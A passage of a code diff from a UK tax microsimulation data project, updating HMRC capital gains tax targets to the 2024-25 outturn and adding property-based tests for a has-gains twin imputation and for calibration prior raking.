             reference_url=reference_url,
-            forecast_vintage="2023-24 outturn",
+            forecast_vintage=_OUTTURN_LABEL,
             custom_compute=compute_capital_gains_total,
         ),
         Target(
@@ -262,7 +298,7 @@ def get_targets() -> list[Target]:
             values=count_values,
             is_count=True,
             reference_url=reference_url,
-            forecast_vintage="2023-24 outturn",
+            forecast_vintage=_OUTTURN_LABEL,
             custom_compute=compute_cgt_taxpayers,
         ),
     ] + _band_targets(reference_url)
diff --git a/policyengine_uk_data/tests/test_calibration_priors.py b/policyengine_uk_data/tests/test_calibration_priors.py
new file mode 100644
index 00000000..020ba759
--- /dev/null
+++ b/policyengine_uk_data/tests/test_calibration_priors.py
@@ -0,0 +1,119 @@
+"""Tests for the calibration's starting weights.
+
+``prior_equivalent_weights`` expresses the prior of every household, survey
+row or zero-weight row, as a weight, and ``rake_priors_to_targets`` scales
+the priors so that chosen national targets are met before the first epoch.
+"""
+
+import numpy as np
+import pandas as pd
+import pytest
+from hypothesis import assume, given, settings
+from hypothesis import strategies as st
+
+from policyengine_uk_data.utils.calibrate import (
+    DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
+    initialize_weight_priors,
+    prior_equivalent_weights,
+    rake_priors_to_targets,
+)
+
+weights = st.lists(
+    st.one_of(st.just(0.0), st.floats(0.01, 1e5)), min_size=1, max_size=50
+).map(np.array)
+
+
+@given(weights)
+def test_equivalent_weights_earn_each_row_its_prior(original):
+    assume((original > 0).any())
+    equivalent = prior_equivalent_weights(original)
+    priors = initialize_weight_priors(original)
+    positive = original > 0
+
+    # A survey row is worth its own weight.
+    np.testing.assert_allclose(equivalent[positive], original[positive])
+    if positive.all():
+        return
+    # A zero-weight row is worth the weight that earns a survey row the
+    # zero-weight row's prior.
+    np.testing.assert_allclose(
+        equivalent[~positive] * (1 - DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE),
+        priors[~positive],
+    )
+
+
+def test_equivalent_weights_without_survey_rows_are_the_priors():
+    np.testing.assert_array_equal(prior_equivalent_weights(np.zeros(3)), np.ones(3))
+
+
+@st.composite
+def raking_problems(draw):
+    n = draw(st.integers(1, 40))
+    priors = np.array(draw(st.lists(st.floats(0.01, 1e4), min_size=n, max_size=n)))
+    n_targets = draw(st.integers(1, 5))
+    # Each household counts towards at most one target (-1: none).
+    member = np.array(
+        draw(st.lists(st.integers(-1, n_targets - 1), min_size=n, max_size=n))
+    )
+    counts = np.array(draw(st.lists(st.integers(1, 3), min_size=n, max_size=n)))
+    matrix = pd.DataFrame(
+        {
+            f"band_{t}": np.where(member == t, counts, 0).astype(float)
+            for t in range(n_targets)
+        }
+    )
+    matrix["other"] = 1.0
+    targets = pd.Series(
+        draw(
+            st.lists(
+                st.floats(0.01, 1e6), min_size=n_targets + 1, max_size=n_targets + 1
+            )
+        ),
+        index=matrix.columns,
+    )
+    return priors, matrix, targets, [f"band_{t}" for t in range(n_targets)]
+
+
+@given(raking_problems())
+@settings(max_examples=200)
+def test_rake_meets_every_named_target_and_touches_nothing_else(problem):
+    priors, matrix, targets, names = problem
+    raked = rake_priors_to_targets(priors, matrix, targets, names)
+
+    populated = [name for name in names if (matrix[name] > 0).any()]
+    np.testing.assert_allclose(raked @ matrix[populated], targets[populated])
+    outside = (matrix[names] == 0).all(axis=1).to_numpy()
+    np.testing.assert_array_equal(raked[outside], priors[outside])
+    assert (raked > 0).all()
+    # Within a target, households keep their relative priors.
+    for name in populated:
+        members = (matrix[name] > 0).to_numpy()
+        ratio = raked[members] / priors[members]
+        np.testing.assert_allclose(ratio, ratio[0])
+    # Raking again changes nothing, and the input is not modified.
+    np.testing.assert_allclose(
+        rake_priors_to_targets(raked, matrix, targets, names), raked
+    )
+    assert raked is not priors
+
+
+def test_rake_skips_names_the_matrix_lacks_and_targets_with_no_households():
+    priors = np.array([1.0, 2.0, 3.0])
+    matrix = pd.DataFrame({"a": [1.0, 0.0, 0.0], "empty": [0.0, 0.0, 0.0]})
+    targets = pd.Series({"a": 5.0, "empty": 7.0})
+    raked = rake_priors_to_targets(priors, matrix, targets, ["a", "empty", "absent"])
+    np.testing.assert_array_equal(raked, [5.0, 2.0, 3.0])
+
+
+def test_rake_rejects_overlapping_targets():
+    matrix = pd.DataFrame({"a": [1.0, 1.0], "b": [0.0, 1.0]})
+    with pytest.raises(ValueError, match="disjoint"):
+        rake_priors_to_targets(
+            np.ones(2), matrix, pd.Series({"a": 1.0, "b": 1.0}), ["a", "b"]
+        )
+
+
+def test_rake_rejects_a_non_positive_target():
+    matrix = pd.DataFrame({"a": [1.0, 0.0]})
+    with pytest.raises(ValueError, match="non-positive"):
+        rake_priors_to_targets(np.ones(2), matrix, pd.Series({"a": 0.0}), ["a"])
diff --git a/policyengine_uk_data/tests/test_capital_gains_imputation.py b/policyengine_uk_data/tests/test_capital_gains_imputation.py
new file mode 100644
index 00000000..e5989e09
--- /dev/null
+++ b/policyengine_uk_data/tests/test_capital_gains_imputation.py
@@ -0,0 +1,302 @@
+"""Tests for the has-gains twins of the capital gains imputation.
+
+The imputation stacks a second copy of each household whose first adult
+draws a gain HMRC's statistics describe, and splits the household's mass
+between the two records. These tests state what must hold for every input:
+mass is conserved, no record carries a loss or a gain under the lowest HMRC
+band, zero-weight rows are split like survey rows, and the calibration
+starts with every HMRC band's taxpayer count on its target.
+"""
+
+import importlib
+from types import SimpleNamespace
+from unittest import mock
+
+import numpy as np
+import pandas as pd
+import pytest
+from hypothesis import given, settings
+from hypothesis import strategies as st
+from policyengine_uk.data import UKSingleYearDataset
+
+from policyengine_uk_data.targets.sources import hmrc_cgt
+from policyengine_uk_data.utils.calibrate import (
+    initialize_weight_priors,
+    rake_priors_to_targets,
+)
+
+# The package re-exports the Advani & Summers table under the module's own
+# name, so the module has to be imported by its full path.
+cg = importlib.import_module("policyengine_uk_data.datasets.imputations.capital_gains")
+
+TABLE = cg.capital_gains
+LOWEST_BAND = 3_000
+TOP_INCOME_BAND = len(TABLE) - 1
+
+
+def _dataset(weights, sizes, income_bands) -> UKSingleYearDataset:
+    """Households of one benefit unit whose members share a total income;
+    the first member is the first adult."""
+    weights = np.asarray(weights, dtype=float)
+    household_id = np.arange(1, len(weights) + 1)
+    person_household_id = np.repeat(household_id, sizes)
+    income_bands = np.broadcast_to(np.asarray(income_bands), weights.shape)
+    incomes = TABLE.minimum_total_income.values[income_bands] + 1.0
+    person = pd.DataFrame(
+        {
+            "person_id": np.arange(1, len(person_household_id) + 1),
+            "person_household_id": person_household_id,
+            "person_benunit_id": person_household_id,
+            "total_income": np.repeat(incomes, sizes),
+            "first_adult": np.r_[True, np.diff(person_household_id) != 0],
+        }
+    )
+    return UKSingleYearDataset(
+        person=person,
+        benunit=pd.DataFrame({"benunit_id": household_id}),
+        household=pd.DataFrame(
+            {"household_id": household_id, "household_weight": weights}
+        ),
+        fiscal_year=2024,
+    )
+
+
+def _incomes_from_columns(dataset):
+    """Stands in for the microsimulation that reads incomes in a build."""
+    return (
+        dataset.person.total_income.to_numpy(dtype=float),
+        dataset.person.first_adult.to_numpy(dtype=bool),
+    )
+
+
+def _impute(dataset, donors: bool = False):
+    with mock.patch.object(cg, "_first_adult_incomes", _incomes_from_columns):
+        out = cg.impute_capital_gains(dataset)
+        return cg.stack_cgt_band_donors(out) if donors else out
+
+
+households = st.lists(
+    st.tuples(
+        st.one_of(st.just(0.0), st.floats(0.1, 5_000.0)),
+        st.integers(1, 5),
+        st.integers(0, TOP_INCOME_BAND),
+    ),
+    min_size=1,
+    max_size=40,
+)
+
+
+@given(households)
+@settings(max_examples=200, deadline=None)
+def test_shares_put_the_table_share_of_each_band_in_gains(rows):
+    weights, sizes, bands = (np.array(column) for column in zip(*rows))
+    dataset = _dataset(weights, sizes, bands)
+    income_band = cg._income_band(dataset.person.total_income.values)
+    first_adult = dataset.person.first_adult.values
+    person_weight = np.repeat(weights, sizes)
+
+    share = cg.has_gains_shares(income_band, first_adult, person_weight)
+
+    people = np.bincount(income_band, weights=person_weight, minlength=len(TABLE))
+    first_adults = np.bincount(
+        income_band[first_adult],
+        weights=person_weight[first_adult],
+        minlength=len(TABLE),
+    )
+    populated = first_adults > 0
+    assert ((share >= 0) & (share < 1)).all()
+    assert (share[~populated] == 0).all()
+    np.testing.assert_allclose(
+        (share * first_adults)[populated],
+        (TABLE.percent_with_gains.values * people)[populated],
+    )
+
+
+def test_a_band_with_too_few_first_adults_fails_loudly():
+    """One light first adult cannot hold the gains of a band of heavy
+    non-first adults; the build must say so, not cap the share silently."""
+    income_band = np.full(11, TOP_INCOME_BAND)
+    first_adult = np.r_[True, np.zeros(10, dtype=bool)]
+    person_weight = np.r_[1.0, np.full(10, 100.0)]
+    with pytest.raises(ValueError, match="too few first adults"):
+        cg.has_gains_shares(income_band, first_adult, person_weight)
+
+
+@given(households)
+@settings(max_examples=100, deadline=None)
+def test_twins_conserve_mass_and_carry_only_gains_hmrc_describes(rows):
+    weights, sizes, bands = (np.array(column) for column in zip(*rows))
+    n = len(weights)
+    out = _impute(_dataset(weights, sizes, bands))
+    household, person = out.household, out.person
+
+    original = household.iloc[:n]
+    twin = household.iloc[n:]
+    # Originals keep their order; a twin's id is its original's, offset.
+    assert original.household_id.tolist() == list(range(1, n + 1))
+    assert not original.household_is_capital_gains_clone.any()
+    assert twin.household_is_capital_gains_clone.all()
+    twin_of = (twin.household_id - (n + 1)).to_numpy()
+    assert set(twin_of) <= set(original.household_id)
+
+    # Mass: a survey row and its twin share the row's weight; a zero-weight
+    # row stays at zero; no twin is itself a zero-weight row.
+    twin_weight = np.zeros(n)
+    twin_weight[twin_of - 1] = twin.household_weight
+    assert (twin.household_weight > 0).all()
+    survey = weights > 0
+    np.testing.assert_allclose(
+        (original.household_weight.to_numpy() + twin_weight)[survey], weights[survey]
+    )
+    assert (original.household_weight[~survey] == 0).all()
+    assert (original.household_weight[survey] > 0).all()
+
+    # Gains: none on originals; on a twin, the first adult's alone, above
+    # the lowest HMRC band limit.
+    gains = person.capital_gains.to_numpy()
+    in_twin = person.person_household_id.isin(twin.household_id).to_numpy()
+    assert (gains[~in_twin] == 0).all()
+    assert ((gains == 0) | (gains > LOWEST_BAND)).all()
+    gainers = person[gains > 0]
+    assert gainers.first_adult.all()
+    assert sorted(gainers.person_household_id) == sorted(twin.household_id)
+
+    # A twin exists exactly where the first adult's draw is above the limit
+    # and their income band has survey first adults to set its share.
+    source = _dataset(weights, sizes, bands).person
+    person_band = cg._income_band(source.total_income.values)
+    first_adult = source.first_adult.values
+    share = cg.has_gains_shares(person_band, first_adult, np.repeat(weights, sizes))
+    draws = cg.draw_gains(person_band, first_adult)[first_adult]
+    expected = (draws > LOWEST_BAND) & (share[bands] > 0)
+    assert sorted(twin_of) == sorted(np.flatnonzero(expected) + 1)
+
+
+def test_imputation_is_deterministic():
+    rng = np.random.default_rng(3)
+    dataset = _dataset(
+        rng.uniform(1, 2_000, 300),
+        rng.integers(1, 5, 300),
+        rng.integers(0, TOP_INCOME_BAND + 1, 300),
+    )
+    first, second = _impute(dataset, donors=True), _impute(dataset, donors=True)
+    pd.testing.assert_frame_equal(first.household, second.household)
+    pd.testing.assert_frame_equal(first.person, second.person)
+
+
+def test_zero_weight_rows_split_their_prior_like_survey_rows():
+    """The defect behind uk-data#570: a zero-weight row's twin kept a zero
+    weight, so the calibration gave it a full zero-weight prior, the same as
+    its no-gains original. Half of the zero-weight rows' prior mass then
+    started with gains, whatever the table's share."""
+    n_survey, n_zero = 400, 200
+    weights = np.r_[np.full(n_survey, 1_000.0), np.zeros(n_zero)]
+    out = _impute(_dataset(weights, np.ones(len(weights), dtype=int), TOP_INCOME_BAND))
+    household = out.household
+    n = n_survey + n_zero
+    twin = household.iloc[n:]
+    twin_of = (twin.household_id - (n + 1)).to_numpy() - 1
+    of_zero = twin_of >= n_survey
+
+    # One person per household, so the has-gains share is the table's.
+    share = TABLE.percent_with_gains.iloc[TOP_INCOME_BAND]
+    priors = initialize_weight_priors(household.household_weight.to_numpy())
+    survey_twins = priors[n:][~of_zero]
+    np.testing.assert_allclose(
+        survey_twins / (survey_twins + priors[twin_of[~of_zero]]), share
+    )
+    # The same split for zero-weight rows, up to the mass their twins add.
+    added = twin.household_weight[of_zero].sum() / weights.sum()
+    np.testing.assert_allclose(
+        priors[n:][of_zero] / priors[twin_of[of_zero]], share / (1 + added)
+    )
+    # The only zero-weight rows left are the zero-weight originals.
+    assert (household.household_weight == 0).sum() == n_zero
+
+
+def _band_matrix(dataset, year: int) -> tuple[pd.DataFrame, pd.Series]:
+    """The HMRC columns of the calibration's national matrix, built by the
+    target functions themselves."""
+    gains = dataset.person.capital_gains.to_numpy(dtype=float)
+    household = pd.Index(dataset.household.household_id).get_indexer(
+        dataset.person.person_household_id
+    )
+    parameters = SimpleNamespace(
+        gov=SimpleNamespace(
+            hmrc=SimpleNamespace(cgt=SimpleNamespace(annual_exempt_amount=3_000))
+        )
+    )
+    ctx = SimpleNamespace(
+        pe_person=lambda variable: gains,
+        household_from_person=lambda values: np.bincount(
+            household, weights=values, minlength=len(dataset.household)
+        ),
+        sim=SimpleNamespace(
+            tax_benefit_system=SimpleNamespace(parameters=lambda instant: parameters)
+        ),
+    )
+    targets = hmrc_cgt.get_targets()
+    return (
+        pd.DataFrame({t.name: t.custom_compute(ctx, t, year) for t in targets}),
+        pd.Series({t.name: t.values[year] for t in targets}),
+    )
+
+
+def _stacked_population():
+    """Survey and zero-weight households over every income band, with enough
+    top-income households for the twins to reach every band below £2m."""
+    rng = np.random.default_rng(7)
+    n = 6_000
+    bands = np.where(
+        rng.random(n) < 0.5, TOP_INCOME_BAND, rng.integers(0, TOP_INCOME_BAND, n)
+    )
+    weights = np.where(rng.random(n) < 0.4, 0.0, rng.uniform(100, 3_000, n))
+    return _impute(_dataset(weights, rng.integers(1, 4, n), bands), donors=True)
+
+
+def test_donors_fill_the_top_bands_and_are_never_twins():
+    out = _stacked_population()
+    bands = cg.load_donor_bands()
+    donors = out.household[out.household.household_is_cgt_band_donor]
+    assert len(donors) == cg.DONORS_PER_BAND * len(bands)
+    assert not donors.household_is_capital_gains_clone.any()
+
+    donor_people = out.person[out.person.person_household_id.isin(donors.household_id)]
+    gainers = donor_people[donor_people.capital_gains > 0]
+    assert gainers.first_adult.all()
+    assert gainers.person_household_id.is_unique and len(gainers) == len(donors)
+    weight = gainers.person_household_id.map(
+        donors.set_index("household_id").household_weight
+    )
+    for band in bands.itertuples():
+        in_band = np.isclose(gainers.capital_gains, band.mean_gain)
+        assert in_band.sum() == cg.DONORS_PER_BAND
+        assert weight[in_band].sum() == pytest.approx(band.taxpayers)
+
+
+def test_calibration_starts_with_every_band_count_on_target():
+    """End to end: twins, donors, the calibration's priors and the rake.
+
+    Before uk-data#570 the same quantities started 17 times over on the
+    taxpayer count and 5 times over on total gains.
+    """
+    out = _stacked_population()
+    year = hmrc_cgt._CGT_BASE_YEAR + 1
+    matrix, targets = _band_matrix(out, year)
+    names = hmrc_cgt.band_count_target_names()
+    assert len(names) == 12
+
+    priors = initialize_weight_priors(out.household.household_weight.to_numpy())
+    start = rake_priors_to_targets(priors, matrix, targets, names)
+
+    estimate = start @ matrix
+    # Every band has records, so every band count starts on its target, and
+    # with them their sum, the aggregate taxpayer count.
+    assert (priors @ matrix[names] > 0).all()
+    np.testing.assert_allclose(estimate[names], targets[names])
+    assert estimate["hmrc/cgt_taxpayers"] == pytest.approx(
+        targets["hmrc/cgt_taxpayers"]
+    )
+    # Households outside the bands keep their prior.
+    outside = (matrix[names] == 0).all(axis=1).to_numpy()
+    np.testing.assert_array_equal(start[outside], priors[outside])
diff --git a/policyengine_uk_data/tests/test_cgt_band_donors.py b/policyengine_uk_data/tests/test_cgt_band_donors.py
index ec97d651..8eef7d62 100644
--- a/policyengine_uk_data/tests/test_cgt_band_donors.py
+++ b/policyengine_uk_data/tests/test_cgt_band_donors.py
@@ -2,10 +2,10 @@
 
 The spline-based capital gains imputation cannot produce gains above its
 last income band's p95, so the build stacks donor households carrying
-each HMRC Table 2.1a band's mean gain at band-exact initial weights, and
-calibration adjusts their weight via per-band targets. These tests pin: the band table's
-integrity, the per-band target computations (including the AEA gate), and
-the donor stacking itself.
+the mean gain of each HMRC Table 2.1a band from £500,000 up at band-exact
+initial weights, and calibration adjusts their weight via per-band
+targets. These tests pin: the band table's integrity, the per-band target
+computations (including the AEA gate), and the donor stacking itself.
 """
 
 import os
@@ -16,11 +16,14 @@
 
 from policyengine_uk_data.datasets.imputations.capital_gains import (
     DONORS_PER_BAND,
+    load_donor_bands,
     load_hmrc_size_bands,
     stack_cgt_band_donors,
 )
 from policyengine_uk_data.targets.sources.hmrc_cgt import (
     _CGT_BASE_YEAR,
+    _CGT_TAXPAYERS,
+    _CGT_TOTAL_GAINS,
     get_targets,
 )
 
@@ -53,7 +56,8 @@ def household_from_person(values):
 
 def test_band_table_shape():
     bands = load_hmrc_size_bands()
-    assert bands.lower_limit.min() == 12_300
+    # The targeted bands start at the table year's annual exempt amount.
+    assert bands.lower_limit.min() == 3_000
     assert np.isinf(bands.upper_limit.iloc[-1])
     assert (bands.lower_limit.values[1:] == bands.upper_limit.values[:-1]).all()
     # Band means must sit inside their band (the top band's mean is
@@ -63,6 +67,33 @@ def test_band_table_shape():
     assert bands.mean_gain.is_monotonic_increasing
 
 
+def test_band_table_reproduces_the_published_totals_for_individuals():
+    """Table 2.1a's total row for 2024-25: 551 thousand individuals and
+    £119,258m of gains. The one band under the annual exempt amount holds 3
+    thousand of them and £1m."""
+    import pandas as pd
+
+    from policyengine_uk_data.storage import STORAGE_FOLDER
+
+    table = pd.read_csv(
+        STORAGE_FOLDER / "capital_gains_size_distribution_hmrc.csv", comment="#"
+    )
+    assert table.taxpayers_thousands.sum() == 551
+    assert table.gains_gbp_millions.sum() == 119_258
+    bands = load_hmrc_size_bands()
+    assert bands.taxpayers.sum() == 548_000
+    assert bands.gains.sum() == 119_257e6
+
+
+def test_donor_bands_are_the_bands_from_500k():
+    assert load_donor_bands().lower_limit.tolist() == [
+        500_000,
+        1_000_000,
+        2_000_000,
+        5_000_000,
+    ]
+
+
 def test_band_targets_match_published_table():
     bands = load_hmrc_size_bands()
     targets = {t.name: t for t in get_targets()}
@@ -79,6 +110,37 @@ def test_band_targets_match_published_table():
         assert count.is_count and not gains.is_count
 
 
+def test_aggregate_targets_are_the_sums_of_the_band_targets():
+    """The aggregates and the bands describe one population, individuals
+    with gains above the exempt amount, in every year."""
+    targets = {t.name: t for t in get_targets()}
+    bands = load_hmrc_size_bands()
+    count_names = [f"hmrc/cgt_taxpayers_band_{int(b)}" for b in bands.lower_limit]
+    gains_names = [f"hmrc/capital_gains_band_{int(b)}" for b in bands.lower_limit]
+    assert targets["hmrc/cgt_taxpayers"].values[_CGT_BASE_YEAR] == _CGT_TAXPAYERS
+    assert targets["hmrc/capital_gains_total"].values[_CGT_BASE_YEAR] == (
+        _CGT_TOTAL_GAINS
+    )
+    for year, total in targets["hmrc/cgt_taxpayers"].values.items():
+        assert sum(targets[n].values[year] for n in count_names) == pytest.approx(total)
+    for year, total in targets["hmrc/capital_gains_total"].values.items():
+        assert sum(targets[n].values[year] for n in gains_names) == pytest.approx(total)
+
+
+def test_lowest_band_starts_just_above_the_exempt_amount():
+    gains = [2_999, 3_000, 3_001, 5_999, 6_000]
+    ctx = _dummy_ctx(gains, household_of_person=[0, 1, 2, 3, 4])
+    targets = {t.name: t for t in get_targets()}
+    count = targets["hmrc/cgt_taxpayers_band_3000"]
+    assert count.custom_compute(ctx, count, _CGT_BASE_YEAR).tolist() == [
+        0.0,
+        0.0,
+        1.0,
+        1.0,
+        0.0,
+    ]
+
+
 def test_band_compute_gates_on_band_and_aea():
     # Persons: below AEA, in first band, at a band edge, in top band.
     gains = [2_000, 15_000, 25_000, 10_000_000]
@@ -99,7 +161,7 @@ def test_band_compute_gates_on_band_and_aea():
 
 
 def test_stack_cgt_band_donors(frs):
-    bands = load_hmrc_size_bands()
+    bands = load_donor_bands()
     n_households = len(frs.household)
     out = stack_cgt_band_donors(frs)
 
@@ -142,15 +204,14 @@ def test_stack_cgt_band_donors(frs):
 # running the suite, so they bind there; locally they skip when the built
 # file is absent or predates the band-donor change). They pin the *result*:
 # the calibrated weights must reproduce HMRC's CGT statistics, not merely
-# be pulled toward them. Tolerances are deliberately loose enough for
-# calibration noise but tight enough to fail on the pre-change pathologies
-# they were written against (1.86m taxpayers vs HMRC's 378k; 1.6% of gains
-# from £1m+ gains vs HMRC's ~61%; no gain above ~£2m).
-
-# HMRC CGT statistics, 2023-24 outturn (Table 2.1a).
-_HMRC_TAXPAYERS = 378_000
-_HMRC_TOTAL_GAINS = 65.9e9
-_HMRC_SHARE_1M_PLUS = 0.61
+# be pulled toward them. The stored gains are survey-year values, the year
+# of the HMRC outturn, so the comparison needs no uprating.
+
+# HMRC CGT statistics, 2024-25 outturn, individuals with gains above the
+# annual exempt amount (Table 2.1a).
+_HMRC_TAXPAYERS = _CGT_TAXPAYERS
+_HMRC_TOTAL_GAINS = _CGT_TOTAL_GAINS
+_HMRC_SHARE_1M_PLUS = 0.65
 _AEA = 3_000
 
 # PR CI builds with TESTING=1 (32 calibration epochs instead of 512) and
@@ -158,12 +219,9 @@ def test_stack_cgt_band_donors(frs):
 # still catches order-of-magnitude pathologies without failing on
 # reduced-fidelity calibration noise. Full builds get the strict bounds.
 _REDUCED_BUILD_SLACK = 5.0 if os.environ.get("TESTING") == "1" else 1.0
-# Reduced builds sit far above HMRC's total gains: the seed-0 reduced builds
-# of main and of #529 carry about £243bn and £267bn (relative errors 2.7 and
-# 3.1, beyond the 0.5 x slack bound), while their full builds carry about
-# £53bn. Under TESTING the total-gains check only guards against
+# Under TESTING the total-gains check only guards against
 # order-of-magnitude errors, in either direction: the total must lie within a
-# factor of 6 of HMRC's. The full build keeps the 50% bound.
+# factor of 6 of HMRC's.
 _REDUCED_GAINS_FACTOR = 6.0
 
 
@@ -193,27 +251,31 @@ def test_built_band_donors_receive_weight(enhanced_frs):
     )
 
 
+@pytest.mark.slow
+def test_built_gains_are_zero_or_above_the_exempt_amount(enhanced_frs):
+    """No record carries a loss or a gain HMRC's statistics do not describe.
+
+    This holds for any build, reduced or full: it is a property of the
+    imputation, not of the calibration.
+    """
+    enhanced_frs = _built_with_band_donors(enhanced_frs)
+    gains = enhanced_frs.person.capital_gains.values
+    assert (gains >= 0).all(), f"{(gains < 0).sum()} records carry negative gains."
+    stray = (gains > 0) & (gains <= _AEA)
+    assert not stray.any(), f"{stray.sum()} records carry gains of £{_AEA:,} or less."
+
+
 @pytest.mark.slow
 def test_built_cgt_taxpayer_count(enhanced_frs):
     if _REDUCED_BUILD_SLACK > 1:
-        # The taxpayer count converges slowly: the imputation hands a gain
-        # to an adult in every clone-half household, and pulling those
-        # weights down to HMRC's 378k is precisely what the full 512-epoch
-        # calibration achieves and a TESTING build (32 epochs) cannot —
-        # reduced builds sit near 5m no matter how the donors are seeded.
-        # The full push-workflow build runs this test with strict bounds.
         pytest.skip("count convergence requires the full calibration")
     enhanced_frs = _built_with_band_donors(enhanced_frs)
     gains, weights = _person_gains_and_weights(enhanced_frs)
     taxpayers = float(weights[gains > _AEA].sum())
-    assert taxpayers < 2 * _HMRC_TAXPAYERS * _REDUCED_BUILD_SLACK, (
+    ratio = taxpayers / _HMRC_TAXPAYERS
+    assert abs(ratio - 1) < 0.2, (
         f"{taxpayers / 1e3:.0f}k weighted CGT taxpayers against HMRC's "
-        f"{_HMRC_TAXPAYERS / 1e3:.0f}k; the count targets are not binding "
-        "(the pre-fix build carried 1.86m)."
-    )
-    assert taxpayers > 0.25 * _HMRC_TAXPAYERS / _REDUCED_BUILD_SLACK, (
-        f"Only {taxpayers / 1e3:.0f}k weighted CGT taxpayers; calibration "
-        "has collapsed the gains distribution."
+        f"{_HMRC_TAXPAYERS / 1e3:.0f}k (ratio {ratio:.2f})."
     )
 
 
@@ -230,7 +292,7 @@ def test_built_total_gains(enhanced_frs):
     if _REDUCED_BUILD_SLACK > 1:
         assert 1 / _REDUCED_GAINS_FACTOR < ratio < _REDUCED_GAINS_FACTOR, message
     else:
-        assert abs(ratio - 1) < 0.5, message
+        assert abs(ratio - 1) < 0.15, message
 
 
 @pytest.mark.slow
diff --git a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
index 66a15b08..13da5cc4 100644
--- a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
+++ b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
@@ -69,7 +69,7 @@ def test_count_excludes_people_below_the_aea():
 
 
 def test_amount_is_gated_on_the_same_threshold_as_the_count():
-    """HMRC's £65.9bn is gains of CGT-liable taxpayers, not all gains."""
+    """HMRC's total is gains of CGT-liable taxpayers, not all gains."""
     ctx = _dummy_ctx(
         capital_gains=[100.0, 2_999.0, 3_001.0, 50_000.0],
         household_of_person=[0, 0, 1, 2],
@@ -170,10 +170,10 @@ def test_aea_boundary_moves_with_the_year():
 
 
 def test_amount_and_count_select_exactly_the_same_people():
-    """The module docstring's central claim: the £65.9bn amount and the
-    378k count are two statistics about *one* population, so no
-    sub-threshold gain may leak into the amount. Putting each person in
-    their own household lets us compare the two gates person by person.
+    """The module docstring's central claim: the amount and the count are
+    two statistics about *one* population, so no sub-threshold gain may
+    leak into the amount. Putting each person in their own household lets
+    us compare the two gates person by person.
     """
     gains = [
         -10_000.0,
@@ -257,8 +257,8 @@ def test_taxpayer_count_is_deliberately_flat_across_projection_years():
     factors, but those are a nominal-income index; applying them to a
     *headcount* would forecast more CGT taxpayers purely because gains
     are worth more in cash terms. The repo has no administrative basis
-    for forecasting CGT taxpayer numbers, so the 2023-24 outturn count
-    is held flat. Changing this should be a conscious decision that
+    for forecasting CGT taxpayer numbers, so the outturn count is held
+    flat. Changing this should be a conscious decision that
     updates this test.
     """
     count = {t.name: t for t in get_targets()}["hmrc/cgt_taxpayers"]
@@ -296,7 +296,7 @@ def test_registry_keeps_custom_compute_for_the_calibration_years():
 
 
 def test_registry_year_filter_excludes_years_before_the_outturn():
-    """The targets describe a 2023-24 outturn mapped to calendar 2024,
+    """The targets describe the 2024-25 outturn, PolicyEngine year 2024,
     so they must not appear for earlier years."""
     from policyengine_uk_data.targets import get_all_targets
 
diff --git a/policyengine_uk_data/tests/test_imputation_source_flags.py b/policyengine_uk_data/tests/test_imputation_source_flags.py
index 2df1f9d8..b386ad3a 100644
--- a/policyengine_uk_data/tests/test_imputation_source_flags.py
+++ b/policyengine_uk_data/tests/test_imputation_source_flags.py
@@ -4,6 +4,7 @@
 
 import numpy as np
 import pandas as pd
+import pytest
 
 
 class _FakeDataset:
@@ -44,6 +45,17 @@ def _stack_without_remapping(left: _FakeDataset, right: _FakeDataset) -> _FakeDa
     )
 
 
+def _fake_households(dataset: _FakeDataset, household_ids) -> _FakeDataset:
+    person = dataset.person[dataset.person.person_household_id.isin(household_ids)]
+    return _FakeDataset(
+        person=person.reset_index(drop=True).copy(),
+        household=dataset.household[dataset.household.household_id.isin(household_ids)]
+        .reset_index(drop=True)
+        .copy(),
+        fiscal_year=dataset.time_period,
+    )
+
+
 def _fake_dataset() -> _FakeDataset:
     person = pd.DataFrame(
         {
@@ -113,21 +125,33 @@ def test_impute_capital_gains_marks_capital_gains_clone_households(monkeypatch):
     )
 
     monkeypatch.setattr(cg_module, "stack_datasets", _stack_without_remapping)
+    monkeypatch.setattr(cg_module, "_households", _fake_households)
+    # Both people are first adults at the top of the income distribution;
+    # only the second draws a gain HMRC's statistics describe.
+    top_band = len(cg_module.capital_gains) - 1
     monkeypatch.setattr(
         cg_module,
-        "impute_cg_to_doubled_dataset",
+        "_first_adult_incomes",
         lambda dataset: (
-            np.zeros(len(dataset.person), dtype=float),
-            dataset.household["household_weight"].to_numpy(dtype=float),
+            np.full(len(dataset.person), 1e6),
+            np.ones(len(dataset.person), dtype=bool),
         ),
     )
+    monkeypatch.setattr(
+        cg_module, "draw_gains", lambda income_band, gainer: np.array([0.0, 50_000.0])
+    )
 
     result = cg_module.impute_capital_gains(_fake_dataset())
 
+    # Each household is kept, and the one with a gain is stacked again as
+    # its has-gains twin.
     assert result.household["household_is_capital_gains_clone"].tolist() == [
         False,
         False,
         True,
-        True,
     ]
-    assert result.household.loc[2:, "household_weight"].eq(1).all()
+    share = cg_module.capital_gains.percent_with_gains.iloc[top_band]
+    assert result.household["household_weight"].tolist() == pytest.approx(
+        [1.0, 2.0 * (1 - share), 2.0 * share]
+    )
+    assert result.person["capital_gains"].tolist() == [0.0, 0.0, 50_000.0]
diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py
index f97c4e1e..3f68a253 100644
--- a/policyengine_uk_data/utils/calibrate.py
+++ b/policyengine_uk_data/utils/calibrate.py
@@ -145,6 +145,62 @@ def initialize_weight_priors(
     return priors
 
 
+def prior_equivalent_weights(
+    original_weights: np.ndarray,
+    zero_weight_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE,
+) -> np.ndarray:
+    """Express each household's calibration prior as a household weight.
+
+    A positive row returns its own weight. A zero-weight row returns the
+    weight a positive row would need to receive the same prior. A build step
+    that splits a household's mass between two records before calibration
+    (the capital gains imputation) uses this to treat survey rows and
+    zero-weight rows alike.
+    """
+    weights = np.asarray(original_weights, dtype=np.float64)
+    priors = initialize_weight_priors(weights, zero_weight_total_share)
+    positive_mask = weights > 0
+    if positive_mask.all() or not positive_mask.any():
+        return priors
+    return priors / (1 - zero_weight_total_share)
+
+
+def rake_priors_to_targets(
+    priors: np.ndarray,
+    matrix: pd.DataFrame,
+    targets: pd.Series,
+    names,
